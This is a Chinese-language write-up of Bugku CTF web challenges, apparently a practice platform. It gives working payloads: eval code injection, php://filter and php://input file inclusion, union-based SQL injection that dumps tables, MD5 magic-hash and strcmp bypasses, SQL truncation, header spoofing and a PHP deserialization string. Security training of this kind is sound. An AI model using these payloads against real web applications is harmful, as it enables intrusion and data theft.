CTF_Bugku writeup

WEB

1.web2

题目地址:http://123.206.87.240:8002/web2/

这题 F12 查看网页源代码直接得到

2.计算器

题目地址:http://123.206.87.240:8002/yanzhengma/

F12 修改 text 的 maxlenght 属性

3.web基础$_GET

题目地址:http://123.206.87.240:8002/get/

1
2
3
4
$what=$_GET['what'];
echo $what;
if($what=='flag')
echo 'flag{****}';

根据代码 构建 url 地址:http://123.206.87.240:8002/get/?what=flag

4.web基础$_POST

1
2
3
4
$what=$_POST['what'];
echo $what;
if($what=='flag')
echo 'flag{****}';

在火狐浏览器上 通过Hackbar插件 POST方式 上传 what=flag

5.矛盾

题目地址:http://123.206.87.240:8002/get/index1.php

1
2
3
4
5
6
7
$num=$_GET['num'];
if(!is_numeric($num))
{
echo $num;
if($num==1)
echo 'flag{**********}';
}

其中 is_numeric 函数用于检测变量是否为数字或数字字符串,如果是字符串,则输出字符串

这与后面的 $num==1 矛盾,但是 php ‘==’ 符号,如果变量的开头是数组,则会将开头的数字拿来比较,所以依据这个特性就可以构建 url 为 http://123.206.87.240:8002/get/index1.php?num=1a 即可得到flag

9.本地包含

题目地址:http://123.206.87.240:8003/

看到 $_REQUES ,尝试了下get,发现可以传值到页面中,所以通过修改 hello 的值来执行php代码。因为eval()函数会将字符串按php代码来执行,所以我们便可构造文件查看语句,来查看flag.php这个文件的内容。

在地址栏将 );show_source(“flag.php”);var_dump( 通过get方式赋值给变量$a。使得eval( “var_dump($a);”); 变化成eval( “var_dump();show_source(“flag.php”);var_dump();”); ,通过其中的 show_source(“flag.php”) 即可查看flag.php中的内容,即可得到flag

16.flag在index里

题目地址:http://123.206.87.240:8002/web16/

刚拿到这题,尝试了之前做题用到的所有方法,无果。无奈,搜下看了下别人的思路, http://123.206.87.240:8005/post/index.php?file=show.php 原来其中的 file 是突破口,用到了php封装协议 php://filter ,结果是这样的,http://123.206.87.240:8005/post/index.php?file=php://filter/read=convert.base64-encode/resource=index.php 这样就得到了 index.php 的 base64 编码,在解码就得到了 index.php 的源码,其中就藏着flag

解释下 php://filter/read=convert.base64-encode/resource=index.php 的含义,其中,read=convert.base64-encode 的含义为,读取方式为 base64 即将文件进行 base64 编码,resource=index.php 含义为目标文件为 index.php ,php://filter 是一种访问本地文件的协议

19.备份是个好习惯

题目地址:http://123.206.87.240:8002/web16/

打开题目是64位的字符,尝试了各种解密都没解开

换种思路,题目提到备份。扫描下后台,发现了index.php.bak这个一个文件,打开下载后用notepad++打开,发现了以下代码,如果MD5加密后的key1等于MD5加密后的key2,加密前的key1不等于key2,那么就输出flag

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
<?php
/**
* Created by PhpStorm.
* User: Norse
* Date: 2017/8/6
* Time: 20:22
*/

include_once "flag.php";
ini_set("display_errors", 0);
$str = strstr($_SERVER['REQUEST_URI'], '?'); //获得url中 ?以后的字符
$str = substr($str,1); //获取变量 $str 中第1位之后的字符
$str = str_replace('key','',$str); //将变量 $str 中的 key 字符全替换为空
parse_str($str); //将 $str 变量中的字符串解析到变量中
echo md5($key1); //由于以上4行代码,所以要在url中输入两个变量 key1 和 key2

echo md5($key2);
if(md5($key1) == md5($key2) && $key1 !== $key2){
echo $flag."取得flag";
}
?>

代码中注释是我加的,解释了这几句代码的作用,第13行可以使用 kkeyey 绕过,重点是 if 语句这里MD5加密后的key1等于MD5加密后的key2,加密前的key1要不等于key2,这里绕过有两个方法

1.md5()函数无法处理数组,如果传入的为数组,会返回NULL,所以两个数组经过加密后得到的都是NULL,也就是相等的
2.利用==比较漏洞,漏洞介绍参考此文https://www.freebuf.com/news/67007.html

构造url地址 http://123.206.87.240:8002/web16/?kkeyey1=QNKCDZO&kkeyey2=s878926199a 得到flag

20.成绩单

题目地址:http://123.206.87.240:8002/chengjidan/

这是SQL注入题,根据提示,输入 1,显示正常,然后在输入 1’ 无输出,输入 1’# 输出又正常

到这里就有思路了,题目的sql语句应该是 select … from …. where id = ‘$_POST[$id]’; 所以多了个’会报错

接着测试下and 1= 1 和 and 1=2 确认存在注入点

接着用 order by 测试下列数,确认是存在4列,输入 id=-1’ union select 1,2,3,4# 确定下对应的输出位置

输入id=-1’ union select 1,database(),3,4# 确认数据库名为 skctf_flag

得到数据库名后,接着就可以查询该数据库中存在的数据表了 id=-1’ union select 1,(select table_name from information_schema.tables where table_schema = ‘skctf_flag’ limit 0,1),3,4# ,得到了2个表,一张是fl4g,一张是sc

接下来查询下 fl4g 表的字段 id=-1’ union select 1,(select column_name from information_schema.columns where table_name = ‘fl4g’ limit 0,1),3,4# 发现就一个字段 skctf_flag

知道了字段名,和表名,查询下这张表的数据 id=-1’ union select 1,(select skctf_flag from fl4g limit 0,1),3,4# ,nice ,得到 flag

21.秋名山老司机

速算题,python脚本如下:

1
2
3
4
5
6
7
8
9
10
import re
import requests
r = requests.session()
html = r.get('http://123.206.87.240:8002/qiumingshan/')
html.encoding='utf8'
searchObj = re.search(r'^<div>(.*)=\?;</div>$', html.text,re.M)
put = searchObj.group(1)
date_post = {'value':eval(put)}
html = r.post(url='http://123.206.87.240:8002/qiumingshan/',data=date_post)
print(html.text)

脚本要多跑几次才能出结果

22.速度要快

依然要写python脚本 先给出脚本,在说思路

1
2
3
4
5
6
7
8
9
10
11
import requests
import base64
import re
s =requests.Session()
headers =s.get("http://123.206.87.240:8002/web6/").headers
str1 = str(base64.b64decode(headers['flag']))
str2 = re.search(r'.*:(.*)$',str1).group(1)
str3 = base64.b64decode(str2)
data = {"margin": str3}
txt = s.post(url="http://123.206.87.240:8002/web6/",data=data)
print(txt.text)

在网页源码中有一段注释,让我们 post 提交一个 margin 值,在http响应头中有一个flag字段,内容base64解码后的为跑的还不错,给你flag吧: MzA5MjQy每次刷新页面,在变的值为:号后面的值,所以这应该就是要我们 post 提交的值,这个值直接提交不行,还需要经过一次 base64 解码提交才能出 flag

23.cookie欺骗

打开题目发现是一堆重复的乱码,url 中 filename 后面的值进行base64解密为keys.txt 应该是包含了这个文件,将这个值改为 base64 后的 index.php 的值,同时讲line设置为5,发现返回了一部分代码,一行一行获取太累了,写个python来获取完整代码,python脚本如下

1
2
3
4
5
6
7
import requests
s = requests.session()
index_php = ''
for line in range(20):
url = "http://123.206.87.240:8002/web11/index.php?line="+str(line)+"&filename=aW5kZXgucGhw"
index_php += s.get(url).text
print(index_php)

最后获得的php代码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
<?php
error_reporting(0);
$file=base64_decode(isset($_GET['filename'])?$_GET['filename']:"");
$line=isset($_GET['line'])?intval($_GET['line']):0;
if($file=='') header("location:index.php?line=&filename=a2V5cy50eHQ=");
$file_list = array(
'0' =>'keys.txt',
'1' =>'index.php',
);
if(isset($_COOKIE['margin']) && $_COOKIE['margin']=='margin'){
$file_list[2]='keys.php';
}

if(in_array($file, $file_list)){
$fa = file($file);
echo $fa[$line];
}
?>

首先要满足 cookie margin=margin 然后 filename 的值为 keys.php 即可,keys.php 要进行 base64 编码

24.never give up

题目地址:http://123.206.87.240:8006/test/hello.php

打开题目,F12 发了一个 1p.html 文件,试着访问下,跳到了 http://www.bugku.com/ ,既然访问不了,1p.html 那么在url前加上 view-source: 查看下它的源代码,
view-source:http://123.206.87.240:8006/test/1p.html

查看源代码发现一串英文数字,进行 base64 解码后得到了一串带%的字符,然后在进行 url 解码 ,得到以下代码。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
";if(!$_GET['id'])
{
header('Location: hello.php?id=1');
exit();
}
$id=$_GET['id'];
$a=$_GET['a'];
$b=$_GET['b'];
if(stripos($a,'.'))
{
echo 'no no no no no no no';
return ;
}
$data = @file_get_contents($a,'r');
if($data=="bugku is a nice plateform!" and $id==0 and strlen($b)>5 and eregi("111".substr($b,0,1),"1114") and substr($b,0,1)!=4)
{
require("f4l2a3g.txt");
}
else
{
print "never never never give up !!!";
}
?>

在这里我掉到了坑里,一直分析代码的 if($data==”bugku is a nice plateform!” and $id==0 and strlen($b)>5 and eregi(“111”.substr($b,0,1),”1114”) and substr($b,0,1)!=4) ,然后想着实现这个 if 语句,没有想到直接去访问 f4l2a3g.txt

虽然是个坑,但这里也解释下这个if语句,首先 $data 要等于 bugku is a nice plateform! ,然后 $id = 0 ,要然 $id = 0,这里要用到 == 的漏洞,就是 0==’0a’ ,如果不让 $id=0a 这个 if(!$_GET[‘id’]) 就无法绕过

想到这里,后面的 eregi(“111”.substr($b,0,1),”1114”) and substr($b,0,1)!=4 我真的想不出来要这么绕过了,要 $b 的第一个字符不能为4,但是 $b 的第一个字符和 ‘111’ 拼接后要等于 ‘1114’ ,好吧,太难了,想不到!!!!!

试着直接访问下 f4l2a3g.txt ,得到 flag

25.welcome to bugkuctf

题目地址:http://123.206.87.240:8006/test1/

这题用到了 php伪协议 php://input 和 php://filter ,魔术变量 __tostring ,也有代码审计的知识,这道题也是比较全面了

打开题目发现再源码中有这么一段:

1
2
3
4
5
6
7
8
9
10
11
12
<!--  
$user = $_GET["txt"];
$file = $_GET["file"];
$pass = $_GET["password"];

if(isset($user)&&(file_get_contents($user,'r')==="welcome to the bugkuctf")){
echo "hello admin!<br>";
include($file); //hint.php
}else{
echo "you are not admin ! ";
}
-->

如果 $user有值,且$user所文件中的内容为 welcome to the bugkuctf ,这里要引出第一个伪协议,php://input 将post上传的数据作为文件内容

因为执行了这个if,其中的include 也得到了执行,所以要引出第二个伪协议,php://filter ,这个伪协议如果有 include,其中 include 中的 $file 又是 get 传上来的,所以我们可能通过 php://filter 来查看指定页面的 php 源代码,获得到的是经过base64编码的源码,通过base64解码即可得到源码

以同样方法查看 index.php 的源码

分别得到以下两端源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
//hint.php
<?php

class Flag{//flag.php
public $file;
public function __tostring(){
if(isset($this->file)){
echo file_get_contents($this->file);
echo "<br>";
return ("good");
}
}
}
?>
//index.php
<?php
$txt = $_GET["txt"];
$file = $_GET["file"];
$password = $_GET["password"];

if(isset($txt)&&(file_get_contents($txt,'r')==="welcome to the bugkuctf")){
echo "hello friend!<br>";
if(preg_match("/flag/",$file)){
echo "不能现在就给你flag哦";
exit();
}else{
include($file);
$password = unserialize($password);
echo $password;
}
}else{
echo "you are not the number of bugku ! ";
}

?>

<!--
$user = $_GET["txt"];
$file = $_GET["file"];
$pass = $_GET["password"];

if(isset($user)&&(file_get_contents($user,'r')==="welcome to the bugkuctf")){
echo "hello admin!<br>";
include($file); //hint.php
}else{
echo "you are not admin ! ";
}
-->

开始代码审计…
index的源码中,如果 $file 中包含flag这个字符串,就执行exit,否则就包含进 $file 这个文件,然后将序列化的 $password 进行反序列化输出。hint 中的魔术方法 __tostring 类被当成字符串时的回应方法, 我们只要把 FLAG类 当成字符串执行,__tostring 的方法就自动执行,这样就输出了 flag.php 的文件内容。

index中的 $password 是要将传入的 $password 进行反序列化,所以为了 $password 最后的值是我们想要的值,所以首先要将 $password 进行序列化,这个在本地写个 php 脚本,调用下 serialize 函数即可完成

最后完整的url为http://120.24.86.145:8006/test1/?txt=php://input&file=hint.php&password=O:4:"Flag":1:{s:4:"file";s:8:"flag.php";}

28.前女友{SKCTF}

这题没啥难度,F12找到隐藏的连接,打开code.txt文件,得到以下代码

1
2
3
4
5
6
7
8
9
10
11
12
<?php
if(isset($_GET['v1']) && isset($_GET['v2']) && isset($_GET['v3'])){
$v1 = $_GET['v1'];
$v2 = $_GET['v2'];
$v3 = $_GET['v3'];
if($v1 != $v2 && md5($v1) == md5($v2)){
if(!strcmp($v3, $flag)){
echo $flag;
}
}
}
?>

开始代码审计,其中就设计到了==,strcmp的2个漏洞,漏洞内容参考这篇文章https://www.freebuf.com/articles/web/129607.html

其中的 == 漏洞在 备份是个好习惯 这题也已经遇到过了

构造url: http://123.206.31.85:49162/?v1=QNKCDZO&v2=s878926199a&v3[] 得到flag

29.login1(SKCTF)

题目地址:http://123.206.31.85:49163/
flag格式:SKCTF{xxxxxxxxxxxxxxxxx}
hint:SQL约束攻击

这题只要了解了SQL约束攻击,马上就能解出来了,sql约束攻击介绍 https://www.cnblogs.com/ECJTUACM-873284962/p/8977983.html

约束攻击简单来说就是sql语句where ‘aaaa’ 和 where ‘aaaa ‘ 是相同的,具体看上文链接

这题只要注册时账号’admin ‘,密码按要求输入,然后就可以用 ‘admin’ 这个账号和自己的注册账号的密码登录了,就得到了flag

30.你从哪里来

题目地址:http://123.206.87.240:9009/from.php

点进去,发现提示 are you from google? 既然问我们是不是从谷歌来,那我们就从谷歌来,抓包,修改 referer 字段的值为 https://www.google.com

这里涉及到一个知识点 http 包头的 referer 字段 这里放一个介绍链接 https://www.sojson.com/blog/58.html referer 字段的作用就是表示来源,比如从www.baidu.con 点开一个链接到 www.google.com 那么http包头中的 referer 字段的值就是 www.baidu.com

31.md5 collision(NUPT_CTF)

题目说 MD5碰撞 ,M5D()碰撞漏洞在前面的题目中也已经有遇到过,就是两个字符串经过 MD5() 函数加密后,如果都是以0E开头,那么在php中 ‘==’会认为他们是相同,所以这里就有个漏洞,打开题目 please input a 请输入a ,网页的表单传值方式为 GET 通过用 GET 方式 提交 ?a=QNKCDZO&a=240610708 这两个 a 的值经过 MD5() 加密后均为 0E 开头,即得到flag。

32.程序员本地网站

依然是前面做过的知识点,打开题目,提示说请从本地访问,burp抓包,改包,http头增加 X-Forwarded-For 字段,值为127.0.0.1,得到flag

34.web8

一个简单的代码审计,应用到了 php伪协议 php://input

35.细心

打开页面,什么都没发现,上御剑扫描,发现了一个 robots.txt 打开发现了一个 /resusl.php 这样一个目录,访问,这个php文件 得到

1
if ($_GET[x]==$password) 此处省略1w字

在尝试弱口令 admin ,OK 拿到flag

38.这是一个神奇的登录框

题目地址:http://123.206.87.240:9001/sql/

先尝试下弱口令…无果…

接下来试 sql注入 , username 输入加 ‘ ,正常显示, 加 “ 报错 说明存在注入点,用sql注入的万能密码看下能否登录

好吧,登录是没有,但是爆出了用户名,那就只能老老实实的注入了

这个是比较常规的注入,没有过滤任何东西,具体过程就不做演示了。最后查到了密码以为要登录,登录之后又出现了一个被魔法封印的输入框,想了很久没想法,然后还有另一张表,名字叫flag1原来查到的数据就是flag